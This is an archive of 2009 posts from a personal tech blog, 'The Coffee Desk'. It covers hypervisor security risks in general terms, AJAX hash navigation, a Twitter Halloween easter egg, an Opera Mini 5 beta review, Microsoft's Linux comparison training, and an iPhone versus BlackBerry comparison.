See, I’ve been working on this draft for about three weeks now which covered all of the bases of the concept of hypervisors and a look at the security involved with them and various modes of attack – all of about 3,000 words according to the draft’s word count. But then…

Stuff Came Up

…I got really really busy. The 3,000 word article was seemingly nowhere-near completion, despite it’s length and broad (yet, incomplete) coverage of all the concepts that this article needed to “touch up” on, and yet my non-blog activities continued to grow in time consumption. So I’ve chosen to scrap the borderline-eBook draft entirely and to just sum it up here without going on for ages.

Oh, and just so I can finally publish this article without deferring it to an even later date, I’ve merely placed my sources at the very bottom under their own heading. In other words, if you don’t take my word for it (and why should you?) then hunt for a reliable source in those links. Properly placing them within the article inline with the rest of the text is simply too time consuming since this is being written in raw HTML; this thing would never get published if I had to place them all in the actual text Wikipedia-style.

All That Aside

The basic idea/thesis of this article (and the previous, unfinished draft) is this: hypervisors are getting more and more common, and are growing in deployment in everything from datacenter systems to embedded consumer electronics. But, as their deployment increases, more and more security concerns come into play, including a variety of attack methods and the dire consequences of a compromised hypervisor.

If you know what a hypervisor is, then skip this paragraph: A hypervisor is basically a very minimalist operating system designed with the purpose of abstracting real, physical computer hardware from one or more virtual machines running “above” it (from a layered perspective) – if you’ve ever run VMware player/workstation/Fusion/server atop Windows/Linux/Mac OS, a hypervisor is like that only analogous to running VMware player/server/workstation/fusion directly atop the hardware in the form of an operating system, cutting out the “middleman” OS to favor performance.

What some don’t know about hypervisors is that they utilize a few “dirty hacks” in order to implement some features and optimizations, which aren’t always security-hardened. And I don’t say “dirty hacks” in the sense that the programming is bad – the code is as good as it can be, as far as open source hypervisors can show – but the very practice of their implementation is what I consider “dirty” given their attempt to make the x86/x86-64 architectures do things they weren’t designed to do, therefore leaving a gaping security flaw capable of compromising many systems at once, including the hypervisor itself and all VMs running atop it.

A Likely Scenario

I’ll cut the crap and present a common scenario for you to more easily visualize this: say we have a hypervisor running Windows Server 2xxx (version doesn’t necessarily matter), a Unix OS, and Netware or whatever else your “dream datacenter server” would run. As many seasoned security professionals can tell you, each of these systems are potential attack victims with many possible unpatched exploits running on each system: each platform is running it’s own flawed kernel, flawed processes/services, flawed drivers etc.

Why do I outright accuse them of being flawed? Not to get into the philosophy of IT security, but it’s because they were designed by humans. Unless a team of gods designed everything from the kernel to each device driver to each individual process running in the OS userland, the system will have flaws with necessary patches in the future of the running system. That’s not even considering possible exploitable flaws within the underlying hardware itself, hypervisor-emulated or not.

So if one of these naturally-flawed systems were to be compromised, as is a likely scenario considering that it happens all of the time, then only the individual VM is affected – right?

Wrong.

A New Definition of “Privilege Escalation”

Say for example a bug in a service running on the Windows server were exploited by yours truly, and I gained administrator/root access to the system (or even simple non-administrative code execution, for that matter – read on!)

What follow between the acts of compromising a single hypervisor-controlled VM and the entire series of running systems is largely product-dependent at this point, so I’ll use generic terminology to provide a vendor-independent route of attack that falls just short of actual proof-of-concept code. Again, if I had enough time, I’d actually submit some code proving this…

Basically, a VM communicates with the underlying hypervisor via a “hypercall,” which is essentially the same thing as a system call made by a usermode program to request some I/O service of the OS kernel, only it is made between an OS running atop virtualized hardware to request a specific operation of the underlying hypervisor OS. This is usually accomplished via some code the hypervisor vendor provides for each supported guest OS to enhance performance or it is written by the OS developers themselves using the vendor’s API documentation.

Note that hypercalls and paravirtualization are not the same thing, but are somewhat related in how they operate at the assembly-level and how they are recognized/interpreted by the processor or hypervisor, depending on the operation being streamlined as a paravirtualization optimization.

Right, so there are lower-level system call-esque operations a guest OS can perform to trigger some functionality/behavior from the underlying hypervisor. The key thing to highlight here is that hypercalls are, in most cases, unchecked by the hypervisor as to whether they were invoked by a kernel or usermode program within the guest OS, and also rely on data inputted from the actual code invoking the call. If you have any experience with buffer overflow attacks or anything along those same lines, there’s an alarm going off in your head as you read all of this.

And it gets better – sometimes, the guest OS may not be necessary to compromise prior to the hypervisor’s attack: with VMware’s hypervisors being the most notable case for doing this, hypervisors many times will allow a direct (bypass-the-guest-OS) interface into the hypervisor to allow for remote settings changes as the VMs run. Remote is the key word here: all that code that accepts incoming connections, accepts user input, relies on the flawed SSL/TLS system for encryption and authentication, and which filters packets before routing them via internal virtual networks emulated within the hypervisor using it’s own code are attack vectors that, if exploited, allow the direct compromise of the hypervisor and all running VMs without the need to compromise a guest OS using one of their many flaws as discussed earlier.

Real-World, Documented Example of Such An Attack

Maybe you think all of this is a crock of B.S., and after all, the chances of BOTH a guest OS and the hypervisor itself possessing vulnerabilities serious enough to compromise an entire series of systems are slim, right?

Allow me to refer you to this guy: http://blogs.gartner.com/neil_macdonald/2009/02/20/hypervisor-attacks-in-the-real-world/ – this is a real, documented attack acting on a buffer overflow exploit that allowed an attacker to compromise the hypervisor of a rather unlikely victim for this sort of attack: The Microsoft Xbox 360.

The Xbox 360, as you may have read from that link above, is merely a hypervisor itself: the “Dashboard” presents the hardware in emulated form to the currently-active game, which functions as a heavily-sandboxed guest OS atop the dashboard (presumably, it makes hypercalls to the Dashboard to draw graphics and accept input from other hardware)

This is just one example of how hypervisors are increasing in deployment and thus increasing in security concerns as well. I mean, who would think, after growing up in the Atari/Nintendo era of gaming consoles that something as advanced as a hypervisor would be allowing us to enjoy the games we play? If you look around, you can find even more shocking examples of hypervisors in unlikely places – even mobile phones.

Attack Consequences

So if one were to breach the hypervisor running several varieties of guest operating systems, as in my example earlier, one could use said root access to the hypervisor to commit dirty deeds such as planting rootkits into the memory of running operating system kernels, performing filesystem trickery as a side-effect of having direct, unabstracted/raw access to nonvolatile storage mediums, and pretty much anything one wished to do – after all, you have more control of the running guests than you would in any other scenario.

It’s like having full debugger capability with a running OS kernel (something Linux kernel debuggers may want to look into as a desired scenario)

Final Notes

Please understand that this article isn’t meant to be FUD against using hypervisors or a “we’re all gonna die” cry for attention – I can already predict that somebody will get about halfway down the article, without reading a further-down support of the presented thesis/scenario and immediately flame away within a comment. And I can already predict that said person’s comment will magically disappear during the moderation process with an email sent to said person asking them politely to finish the article before flaming.

The sources I will list below are other blog posts I read as research into this subject in addition to actual practice with a few hypervisors myself, back when I still had some free time. Also linked to is some source code from the open-source Xen hypervisor, which allows a direct look into the process of detecting/validating and processing a hypercall (which is also briefly defined in another Xen Wiki link below)

Much of the standing-flaws with hypervisors and research into the like have been performed against either Microsoft’s Hyper-V or any other private Microsoft-made hypervisor (such as the Xbox 360 Dashboard). While I certainly don’t doubt that Microsoft’s hypervisors are just as (if not more) flawed than the next hypervisor, all of them should be researched and hardened against attacks and as frequently patched as one made by a different vendor.

Don’t let the vendor’s name and image/history provide a false sense of security or cause one not to patch the hypervisor any less than the next product or OS: they all are vulnerable, and as more research is performed to test their security, applying vendor-released patches remains essential in this day and age of rampant exploiting by even more juvenile and not-so-juvenile hackers as each day passes in the sea of limitless information provided by the Internet.

With that final word of advice, I’m ending this article. If it seems long, consider the fact that this after the process of whittling away at my previous, unfinished 3,000 word draft in a desperate attempt to finally publish this thing and get this information out to those who need it the most. Like I said before, this is the article that almost didn’t happen…

Sources/References

Xen Wiki Hypercall formal definition
Securing Hyper-V: a generic overview of potential hypervisor security issues and prevention (Hyper-V specific)
A basic analogy to apply a fundamental security principle to Hypervisor security (“if it’s possible to exploit, don’t assume it won’t be”)
Secunia Advisories for Microsoft Products (dig through here for some MS-specific virtualization exploits, or even other vendors)
A real-world hypervisor security breach: the Xbox 360 Dashboard
Xen source code index for xen.h, the Guest OS interface to Xen (for version 3.3.1; details hypercall parsing and operation)

[Finally, the end of this article...]

Hypervisor Security Concerns originally appeared on The Coffee Desk on December 1, 2009.

This unique AJAX technique, employed by some of the top current Web 2.0 apps, has many benefits besides usability: it actually saves the bandwidth of the site by an astounding amount, and defers the latency of the new page’s loading to the responsibility of the client-side web browser’s script compilation instead of downloading a new, full page each change in navigation.

The Basis of the Technique

If you want to see this in action, simply click on your replies within Twitter’s web client, do anything in Gmail/Google Wave, or click a profile/photo in Facebook – watch the URL, particularly the last part (everything past the ‘#’ character, called the “hash” by many.)

Basically, it works like this: whenever you perform an action that requires a change in navigation, e.g. clicking a link to go to a profile or to view an email, a JavaScript “onclick” event handler for that link calls a shared “AJAX load this page” function that begins to load the data required to change the page.

Also, it updates the URL’s post-hash characters to make the “new page” bookmark-friendly in case a user wants to go directly to that page as if it were static HTML instead of a dynamic client-side scripting-dependent page instance.

Likewise, each time a page within Gmail (or whatever app) is loaded, it checks for hash characters and will load the data into the page, transparently to the user. Because of this, most of the time the characters after the hash is simply the latter part of a URL to be inserted into the AJAX function to load the page, e.g. the characters necessary to download a page called “http://www.gmail.com/”+hashtag etc.

Benefits of this System: bandwidth

Most professionals use this simple AJAX technique to simplify the navigation of their site and to track user activity, but there is an often-overlooked advantage to using this model: bandwidth conservation and faster loading speed via deferred processing.

Here’s a rudimentary example: when your web app doesn’t use AJAX-loading and instead relies on unique page loads each and every time the user navigates to a new page, here is what is sent to the client’s web browser each time, following server-side processing:

Even if the browser caches these files and page snippets, the inclusion statement still represents an unnecessary amount of bandwidth when multiplied by the number of concurrent users.

However, if a page uses AJAX-loading to load new content into the existing page, all of the above example code would only be loaded once, including site-wide elements such as navigation menus and general formatting sections.

Instead, the AJAX would only request “page-specific” content such as a particular email’s content (in the case of Gmail) and insert it within the existing page, which only had to load once.

This way, once the common site elements are loaded into the browser, only the changing content needs to… well… change. This can lead to tremendous savings on bandwidth, which is important when many users are hitting the site at once.

(props for still reading this longer-than-normal article – hang in there!)

Another benefit: Processing speed

When most browsers process a script, they first download the plaintext .js file from the server upon seeing it’s inclusion statement within the HTML. Then, they compile it directly to native code (or some similar action) and store the compiled JavaScript into the browser’s cache for future execution.

So, when the initial page is loaded, the included AJAX script for loading future content is compiled and cached, making it’s future execution very fast. This lowers the latency involved on the client-side when downloading future content to be loaded into the running page, and since bandwidth consumption is kept to that of the content’s usage only, the process is extremely fast compared to loading a full page each time.

Further Enhancements

If the server and web browser are configured properly, then the Apache mod_gzip/mod_deflate could further boost the speed of this process. This puts more of the loading process in the realm of processing and conserves bandwidth more, and qualifies as an enhancement since bandwidth is more of a scarce resource than processing power.

In other words, you’re more likely to see a quad-core on a DSL or shared cable connection than a Pentium III hooked into a T3 line, so lower bandwidth in favor of processing time in most situations while employing sniffing practices to ensure mobile accessibility.

Speaking of accessibility, notice that on most AJAX-employing Web apps that although there is a JavaScript event handler associated with a link, they don’t forget to keep the link intact: there is no ‘href=”#”‘ in Gmail or Facebook – a quick look at the status bar while hovering over a link will reveal basic accessibility fundamentals in practice.

This, combined with appropriate JavaScript feature degradation (without resorting to NOSCRIPT tags) will ensure accessibility while using this advanced technique: if the client doesn’t support AJAX loading or JavaScript at all, then fall back on regular site loading using full page requests.

Since only a negligible amount of users fall into that category anyway (including Googlebot and other crawlers), the loss of performance due to a few client requiring full page loads is relatively small.

Final Notes

So, as seen in the examples above, the use of AJAX content loading within web apps, as employed by Gmail and Facebook, has numerous advantages to the site and its usability while remaining transparent to the users.

Best of all, if done correctly, it can be unobtrusive and therefore non-impacting to a site’s SEO or accessibility.

Almost everything discussed here neglects the role and possible optimization in the server-side scripting involved in all this, but each web app is unique and therefore can be optimized to best suit the situation as far as server-side optimizations go: just keep the main page’s inclusion rate low so the initial page loads fast, and keep the “dirty work” required by the server-side AJAX handler to a minimum.

Also look into distributing the load between several scripts to handle different types of AJAX requests, reducing query-string parameters and the conditionals involved in their processing, and even look into distributed computing (mod_proxy and it’s family) for self-hosted web apps with large scalability requirements.

In addition, the AJAX-handlers can be easily made into a rudimentary API for a web app you may want to make available for an iPhone/Blackberry app, or if you wish to open it up for any client as Twitter and FMyLife.com have done.

One thing is certain, however: whatever the aim of your web app may be, with very few exceptions, you will almost certainly benefit from this JavaScript AJAX programming technique upon its deployment within your site or app.

I hope this will convince more app authors to move to this system of page loading. Until next time…

Use of AJAX To Conserve Bandwidth and Processing originally appeared on The Coffee Desk on November 8, 2009.

Below are some screenshots of this temporary feature (for historic purposes) and a little information about it.

Article Sections:
#treat
#trick
Technical Details
Final Notes
Update: Screencast Added

#treat

Although not nearly as interesting as it’s Halloween-themed counterpart, the #treat update displayed this design over the timeline:

But the #treat easter-egg isn’t nearly as fun as the #trick easter-egg:

#trick

First, right after the update solely containing ‘#trick’ is “published”, this drop-down message is displayed after the new background is loaded:

Then, after a progressive timeline/tweet modification, the next change appeared:

By far, this was my favorite modification of the two. Also, it earns more of an ‘easter-egg’ status than the former because I don’t recall ever seeing #trick trending throughout the day as I did #treat.

How it works

This is a little techy, but basically Twitter added a hook into their JavaScript’s AJAX tweet-publishing code that did some simply string matching to detect the single strings “#trick” or #”treat”, in order to perform a special action in response.

The background of the page, at least in the case of the #trick’s biohazard image, is a transparent PNG laid over the page’s background. I know this without even looking at the code because the coffee-colored background was visible under the biohazard image before it was changed to black to further complete the process of setting the new design.

The usual now-famous Twitter drop-down box was recycled for the “Happy Halloween” message, only using a black background with a yellow Arial(?) font in the case of the #trick design. I assume absolute-positioned transparent PNGs are what allowed the spider webs/witches to lie over the drop-down messages.

And note that the tweet is never published – some hard-wired control flow code prevents it from reaching Twitter’s servers in favor of redesigning the client’s appearance.

Enjoy!

I saved the screenshots in case someone missed it, and for historic purposes.

I actually discovered this by simply seeing people tweet about #trick/#treat (with other words in their tweet) and by seeing #treat within the Trending Topics.

Twitter actually provided a description for the egg within the trending topic for #treat. Without their explicitly stating it, I (and presumably other users) would have never thought to tweet JUST #trick or #tweet. Besides, unless I’d already seen it I’d look like a spammer or idiot with a published tweet containing only #trick or #tweet.

But, that said, I really enjoyed this new added feature today, along with Google’s “This space intentionally left blank” thing on their front page.

I hope everyone out there enjoyed this as much as I did!

Update: YouTube Screencast Now Available

A Twitter “Happy Halloween” – Trick Or Treat? originally appeared on The Coffee Desk on October 30, 2009.

However, despite this fact, I have found Opera Mini 5 Beta to be the best mobile browsing experience in the world, even topping Safari on the iPhone/iTouch.

First, A Word On Your Humble Reviewer
You may have read my in-depth iPhone vs. Blackberry article, but if not, here’s the skinny on me as a reviewer: I’m a die-hard crackberry addict, yet I’ve spent almost just as much time using and developing for the iPhone and other smart phones (such as Android and Windows Mobile).

Basically, I’m the one who’s behind the bathroom stall making all that tapping and scrolling noise (my Curve has a trackball-thing).

One of my favorite apps for the Blackberry is the Opera web browser, simply because the Blackberry browser is terrible and as far as I know, Firefox has not released a J2ME version yet. I’ve been using Opera Mini 4 for almost a whole year now as my mobile web browser, and have been very impressed albeit without being “wowed”.

Opera Mini 5 Beta “Wowed” Me

I just happen to download the new beta from Opera’s website after checking their site out while bored one day (in a waiting room or something, if I recall). What started as a casual, “gee, why don’t I download the Beta and see what small features are new” download turned into an overwhelming experience. The app blew me away, and continues to.

After the typical EULA agreement, the first thing you’ll notice about the app is the presence of the “speed dial” default page that has been present in the Opera desktop browser since God knows when. While I personally don’t get off on the speed dial feature, it is a nice alternative to digging through loads of chronologically-ordered bookmarks.

Another decent feature is the desktop-style Google searchbox. Opera Mini 4’s search box annoyed me with it’s side-scrolling and text input navigation, but this search box is not only better than the Blackberry Browser’s, but is completely identical to that of a regular desktop browser.

While I’m on the subject, Opera has eliminated something that I’m sure has plagued other Opera Mini users for the Blackberry as well: gone are the text-input screens that take up the whole screen area. While this may sound absurd to a normal browser user, Opera Mini 4 had the bad habit of opening text input within a whole new screen, but this has been done away with in Opera Mini 5 beta in favor of a more sane text editing method similar to the Blackberry Browser.

The next thing that impressed me about the new browser was the menu handling – pressing the menu button on my Curve lightly dims the active page and brings down a graphical menu containing the tab bar (more on this in a minute), the address/search bar, and various navigation buttonThs including an additional dropdown menu containing the bookmarks and help links that usually go within a text menu in traditional apps.

But wait, stop there. Read that last paragraph again, and note the reference to the “tab bar” – that’s right, Opera Mini 5 has brought tabbed browsing to the Blackberry! (and other J2ME phones as well)

Opera Mini 5 Introduces Tabbed Browsing For Mobile Devices

No, not that awkward page-thing that comes in Safari for the iPhone – this is actual tabbed browsing, identical to what you see in Firefox/Internet Explorer/Opera, including little animations whenever you move between tabs or add a new one via the “add tab” button!

That blew me away. I am the worst tab-addict on my Firefox instance (there’s always on running), sometimes accumulating up to 25 or more tabs open at once. The ability to accomplish this on my mobile device is now an astounding feature, guaranteeing to tack on an additional 30 minutes to every bathroom trip. I wish I was kidding.

And the memory management doesn’t leave any to be desired, either: if memory becomes scarce and one of your many tabs is found to be the cause of it all, Opera will pick the most memory-intensive tab and close it if it didn’t require any HTTP POST data, and re-open the URL when you switch back to that tab.

Other Notes

While Opera Mini 5 introduces the absolute finest browser chrome ever brought to a mobile platform in my opinion, there are a few extra things that didn’t fit into my Opera love song above, including just a few quirks I feel should be fixed before this is no longer labeled as “beta” (although, like Google, Opera is apparently listing a perfectly fine product as “beta” – or maybe its other organizations that label alpha-quality software as beta too soon, I haven’t a clue)

The Opera rendering engine is fantastic, mainly in that it’s the “standards nazi” of rendering engines. The rendering engine itself is not stored on the mobile device, however: all URL requests are sent to a remote Opera server, which formats the remote URL using the Opera engine into a compressed format which is passed along to the device for interpretation and display.

I like this idea, but the only area which it falls short is JavaScript interpretation. Safari for the iPhone has you beat here, Opera – unless your next revision of the client-side portion of Opera Mini allows for the execution of pre-compiled JavaScript passed from the server’s JavaScript parser, this will always cripple the mobile browser in today’s Web 2.0-crazed Internet.

Also, while I love the new text input mechanism (the old one was horrendous), why does all of my text get deleted whenever I hit backspace/delete twice in a row? It doesn’t just disappear, either: it is pragmatically backspaced as if I held down the delete key, only at a much faster rate. If this is a feature, please remove it or allow us to turn it off/on in the about:config page, because it is simply too annoying.

I also had to bump up my font size to “medium” (although my youthful eyes are perfectly capable of reading “small” font) because the mouse would pass right over links that I wanted to select/click. The mouse, controlled by my scrolling trackball thing, does not smoothly move like that of the Blackberry browser; instead, it makes small jumping motions across the page, and if the font size is set too small, it’ll pass right over a link without highlighting it for interaction.

If these small issues would be fixed or worked out, then I could declare this the perfect mobile browser. As much as I want to go on a rant about how Apple won’t let developers deploy a better browser on their device, or how they won’t allow Sun to port J2ME to the iPhone, I won’t.

…but they still should. Because I think Opera smears Apple in the mobile browsing scene when you compare the two browsers’ chrome and feature set. ‘Nuff said

Oh, and let’s get J2ME-capable Flash ported already!

Opera Mini 5 Beta Review originally appeared on The Coffee Desk on October 21, 2009.

Words cannot describe the rage I feel as a result, but read on for a pretty decent attempt.

Get The Facts V2

So Microsoft has been both sued and accused of falsifying the “facts” in their “Get The Facts” campaigns. Their response seems to be to up the ante even more and begin attacking sales personnel in the process.

And the sales personnel they are targeting happen to be at Best Buy, no less, and as XKCD best put it:

“Security”, Maintainability, and Drivers

I’m not going to sit here and become the Billy Graham of Linux (don’t you hate those guys?) but I will point some things out:

• There are still more viruses and more rapidly-spreading viruses for Windows than Linux
• Linux’s compatibility with Windows via WINE is at its best
• The amount of drivers available for peripherals and common devices rivals that of Windows (although some newer devices will always have trouble being supported if the manufacturer doesn’t provide a Linux driver)
• The Unix-style of permissions and system security architecture still trumps that of Windows, although UAC attempts to replicate sudo/gksu.
• There is no “Linux Genuine Advantage” (A.K.A. “send my personal information to Microsoft on a daily basis so I can retrieve crucial security updates”)

Microsoft’s Strategy

You have to give them credit, though: Microsoft is going right for the heart of Linux here, utilizing training for even Best Buy personnel in their new aggressive campaign against what they now must consider a threat to their new OS.

Combine this with their “I’m a PC” and laptop hunting expeditions (both slashing the Mac platform) and you have covered both major threats to Microsoft’s OS monopoly.

I may be a little (read: very) biased against Microsoft for their strategy and product quality versus the Mac and Linux platforms, but even though Microsoft is simply playing Apple’s game with the “I’m a PC” commercials, going so far as to blatantly spread misinformation about Windows 7 versus Linux is a little too far.

Novell, Red Hat and IBM have all created ads promoting Linux, but without going so far as to completely distort facts about the opposition, as Microsoft seems to have done here.

Given the proper amount of research and citing of reputable sources, this could be grounds for yet another lawsuit against Microsoft, as in the past with legal confrontation over the “Get The Facts” and some “I’m a PC” commercials.

Sometimes, people just feel like they have to play dirty to advocate their product against a threat…

Microsoft Trains Best Buy Employees To Praise Win 7 Over Linux originally appeared on The Coffee Desk on September 9, 2009.

I love them both, and while I haven’t traditionally leaned towards one or the other in terms of a favorite, there are a few elements about each where one either falls short to the other or vice versa, and I aim to cover most if not all of these differences in this post.

(I don’t have enough experience to write about the Palm Pre, so don’t ask me)

Camera: Blackberry 1, iPhone 0

While the iPhone has a higher-quality camera than some Blackberrys, you just can’t top video support.

Every since I got a bigger memory card for my Blackberry, I’ve been shooting videos with it left and right (you can’t use the video functionality without a large memory card, something I previously lacked). I love it – and drive people nuts with it constantly.

The iPhone is slated to gain video support in a newer hardware/software release, but for now this is a major feature it lacks (along with MMS). My Blackberry didn’t have video support until I updated the OS software, telling me that the video functionality is merely a stream of stills formatted into an MPEG stream.

But still, you just can’t beat a video camera in your pocket.

MMS: Blackberry 2, iPhone 0

AT&T is the primary cause of this one, although ironically my Blackberry is also under AT&T.

MMS is on so many phones, including AT&T phones, that the iPhone’s lack of support for the protocol specifically for the iPhone is just incredibly pathetic. And even better, the video capability of the Blackberry integrates well with MMS – I shot a football play and the corresponding score yesterday and MMS’d it to a friend running late to the game.

If I had an iPhone as my personal phone, then no – there isn’t an app for that.

App Distribution: Blackberry 2, iPhone 1

The iTunes app store is great – there are just so many applications to choose from on it, as the commercials tout, and the majority of them are free.

The Blackberry follows the typical operating system paradigm of “find it and download it yourself”. Not cool. And as far as RIM’s own app store goes, I haven’t heard enough about it to know where to even find it – it isn’t advertised, there’s no icon for it included in updates, and the BB Browser doesn’t bookmark it.

I had quite a time finding the few apps I have on my BB, whereas the legions of them on the iPhone I use were all downloaded on a whim. Best part is that this isn’t something RIM can’t imitate – they just need to centralize their apps around their store better.

App Development: Blackberry 2, iPhone 2

This one really should be “iPhone: 1.5″ because getting an app through the mysterious App Store approval process can be a pain for many developers, especially since the average approval period is higher for updates than initial submissions.

Other than that, I enjoy writing apps for the iPhone a lot more than for the Blackberry. Java is easily my strongest programming language, yet RIM’s Java API for Blackberry development is still a nightmarish mess for me, compared to the breeze of writing an Objective-C app for the iPhone (once you learn it).

Just look at the menuing system – it requires extensive experience in programming 2D graphics in order to draw an even half-decent menu on the Blackberry, and this same “more-complicated-than-it-should-be” pattern extends to many other areas of the API, as well.

Needless to say, everytime I even attempt to further my developmental experience on the Blackberry, I just wind up burnt out and frustrated. It’s an art, and one that I don’t plan on mastering as a hobbyist.

AT&T-free: Blackberry 3, iPhone 2

AT&T is part of the reason you can’t get Slingbox to stream over 3G, the suspected reason why Google Voice is a no-go for the iPhone, and the reason the iPhone can’t update to the year 2007 with MMS support.

But, unless you want to risk jailbreaking your iPhone, you’re stuck with AT&T. The Blackberry, on the other hand, is shackle-free – you can use it on any carrier that has been blessed by RIM, and most of the major carriers have been so.

This appears to drive hardcore iPhone-addicts up the wall.

Visual Voicemail: Blackberry 3, iPhone 3

The greatest innovation I’ve seen since the dawn of voicemail, unless you count Google Voice (a Blackberry application). Seriously – a little piece of me dies everytime I have to cycle through the 20^th century voicemail menu system on my Blackberry.

For such a “smartphone”, not having visual voicemail or even a better system than the existing is just stupid.

OS features: Blackberry 4, iPhone 3

We’ve discussed the iPhone OS here many times, yet I still like the Blackberry OS much better.

The scheduling and power management is more robust, and I get much better battery life with my almost 1.5 year old Blackberry than a new iPhone does.

That, and the Blackberry crosses a line Apple didn’t even want to cross due to “possible power issues”: the ability to run apps in the background. I can hit “reload” within Opera Mini, and while the page is downloading I can go do something else, say, check on my Twitter timeline or replies.

(as a side note, I just mentioned Opera Mini – good luck getting an alternative web browser on the iPhone)

This is the essence of playing with my phone while in a waiting room or on the toilet – I am a very attention-deficit person, as those of you whom follow me on Twitter can attest to, so I love the ability to multi-task – especially when AT&T’s latent network is core to the functionality of said tasks.

And one more thing about the Blackberry OS I like: the security. BB’s OS is very sandboxed, which is both essential as an open OS (not open source; open as in getting apps deployed on one without approval), and as a smartphone in general.

I can manually set the permissions for each application within the OS settings, so as to keep (say) my SSH application with a possible security bug from accessing my Address book database. This security re-assures me a far as putting sensitive information into my device – even if I lose it, there is no way to access this information without my password, thanks to encryption at a very low level.

Even better, the security of the Blackberry can be centrally configured for legions of devices, using a thing called…

Blackberry Enterprise Server: Blackberry 5, iPhone 3

BES is a product made by RIM that is essentially a Group Policy clone for the Blackberry platform. For those of you who have no idea what I’m referring to, it is basically a service that allows you to centrally control every aspect of the Blackberry’s functionality.

Deployment is Windows-only, and a challenge to install from what I hear, but for large corporations with company phones this is invaluable. Disable installing apps other than the ones you wish to be pushed to every phone, or maybe centrally sync all company contacts with every device – these are just a few things BES allows you to do.

This is one field where Apple always seems to have trouble – if Mac OS X had this functionality, then you wouldn’t see so many Windows Server and Windows workstation combinations in workplace scenarios. It is no different with the iPhone, apparently.

Final Notes

Am I biased for having a Blackberry? Nope. My contract expires in a few months and my eyes are looking around for the next phone. I just find that the Blackberry has more desirable features than the iPhone does, especially out of the box.

Granted, I play with the iPhone constantly – its apps are incredible. Other than that, the Blackberry trumps it as far as its basic architecture and core feature set goes.

I look for this to change in the (hopefully near) future: All the iPhone has to do is get Video support, MMS support, drop AT&T (or allow an option), and maybe beef up its OS integration and enterprise feature set – then its on par with the Blackberry, in my book at least.

As far as the general public goes, however, the iPhone is just what everyone needed. While it has a few flaws compared to other devices that drive some of us geeks up the wall, you simply can’t resist the usability of the device.

But for now, I’m sticking with my Blackberry, and waiting for the iPhone to catch up with some of its features before I possibly make the switch at the end of my contract. That’s my take on it all, now tell me yours.

iPhone vs. Blackberry: Smartphone Showdown originally appeared on The Coffee Desk on August 22, 2009.

The Coffee Desk Upside-down
(click the image link for the full screenshot)

In Case You Missed It… originally appeared on The Coffee Desk on August 19, 2009.

To celebrate our 100th article, we decided to flip the entire post (and website) upside-down. If you are a weenie and prefer the right-side-up version, then go here.

˙(ʇɐɯɹoɟ ǝuılǝɯıʇ uı) ʎɹoʇsıɥ ɟǝıɹq ɐ ǝpıʌoɹd oʇ ǝɯıʇ ʇɐǝɹƃ ɐ sʞɹɐɯ sıɥʇ bɐɟ ǝɥʇ spɐǝɹ ʎpoqou ǝɔuıs puɐ ‘ʍouʞ noʎ ‘ǝɯıʇ ɹǝʌo ʇıq ɐ ǝʇınb pǝʌloʌǝ s,ʇı ˙ǝʇısqǝʍ ǝɥʇ ɟo ʎɹoʇsıɥ ɐ ɟo ǝɹoɯ ǝlʇʇıl ɐ ǝpıʌoɹd puɐ ʞɔɐq ʞool ɐ ǝʞɐʇ plnoɥs ǝʍ ʇɥƃnoɥʇ ı ‘ʞsǝp ǝǝɟɟoɔ ǝɥʇ uo ǝlɔıʇɹɐ ɥʇ001 ǝɥʇ ɹoɟ

¡ǝɹǝɥʍʎuɐ ǝƃɐɹǝʌoɔ ɥɔǝʇ ʇsǝuıɟ ǝɥʇ ɹoɟ os ƃuıop uo dǝǝʞ puɐ ‘ƃuıpɐǝɹ ɹoɟ sʞuɐɥʇ

˙sʍǝu sʇı puɐ ʎɹʇsnpuı ɥɔǝʇ ǝɥʇ uo (oʍʇ ɹo) ʞɹɐɯ ɐ ǝpɐɯ ʎlǝʇıuıɟǝp ǝʌ,ǝʍ ʇnq ‘ɥɔunɹɔɥɔǝʇ ɹo ʇopɥsɐls ou ǝɹ,ǝʍ ˙ǝʇıs ǝɥʇ ɟo ʎɹoʇsıɥ ǝɥʇ s,ʇɐɥʇ ’sʎɐʍʎuɐ

¡sǝʌlǝsɹno ɥʇıʍ dn ʇɥƃnɐɔ ǝʌ,ǝʍ ǝʞıl sʞool

¡ɥo,p ˙uʍop-ǝpısdn ‘ǝlɔıʇɹɐ ɥʇ001 ǝɥʇ sʇsod ʞsǝp ǝǝɟɟoɔ ǝɥʇ :61 ʇsnƃnɐ

(dɐɹɔ sɐʍ ǝuo plo ǝɥʇ) ɹǝʌɹǝs ǝɥɔɐɔ/ʎxoɹd puǝ-ʇuoɹɟ ʍǝu ɐ sʇǝƃ ʞsǝp ǝǝɟɟoɔ ǝɥʇ :1 ʇsnƃnɐ

sɥƃnɐl ɹoɟ suɐıpǝdıʞıʍ slloɹʇ ʞsǝp ǝǝɟɟoɔ ǝɥʇ :32 ʎlnɾ

ɥsɐlʞɔɐq ǝqopɐ sǝsnɐɔ ǝlɔıʇɹɐ ǝqopɐ-ıʇuɐ :9 ǝunɾ

xǝpuı s,sʍǝu ǝlƃooƃ oʇ pǝppɐ ʞsǝp ǝǝɟɟoɔ ǝɥʇ :02 ǝunɾ

ʞɹɐɯ sʇuǝɯɯoɔ (ɯɐds-uou) 001 ǝɥʇ sʇıɥ ʞsǝp ǝǝɟɟoɔ ǝɥʇ :31 ǝunɾ

(op ǝʍ puɐ) ɥsılqnd oʇ ǝlɔıʇɹɐ uɐ sn slıɐɯǝ ǝʌıʇɐʇuǝsǝɹdǝɹ uuɐɔı-xǝ :3 ǝunɾ

ʞɔɐɾɔıƃɐɯ ɯoɹɟ lıɐɯǝʇɐɥ sǝsnɐɔ ǝlɔıʇɹɐ ʞɔɐɾɔıƃɐɯ :92 ʎɐɯ

pǝʇsod ǝlɔıʇɹɐ ǝɹnʇɔǝʇıɥɔɹɐ ǝuoɥdı pǝɯıɐlɔɔɐ-ʎllɐɔıʇıɹɔ :71 ʎɐɯ

˙ɯǝlqoɹd ǝɥʇ ɟo ǝsnɐɔ ǝɥʇ ǝq oʇ punoɟ ɔıu ɹǝʌɹǝs ǝɥɔɐɔ/ʎxoɹd pǝıɹɟ ˙ɹıɐdǝɹ ɹǝʌɹǝs ɹǝʇɟɐ uıɐƃɐ ǝuıluo ʞɔɐq ʞsǝp ǝǝɟɟoɔ ǝɥʇ :11 ʎɐɯ

ʎʇılıqɐlıɐʌɐun ƃuısnɐɔ ‘uıɐƃɐ pǝʇʇopɥsɐls ʞsǝp ǝǝɟɟoɔ ǝɥʇ :9 ʎɐɯ

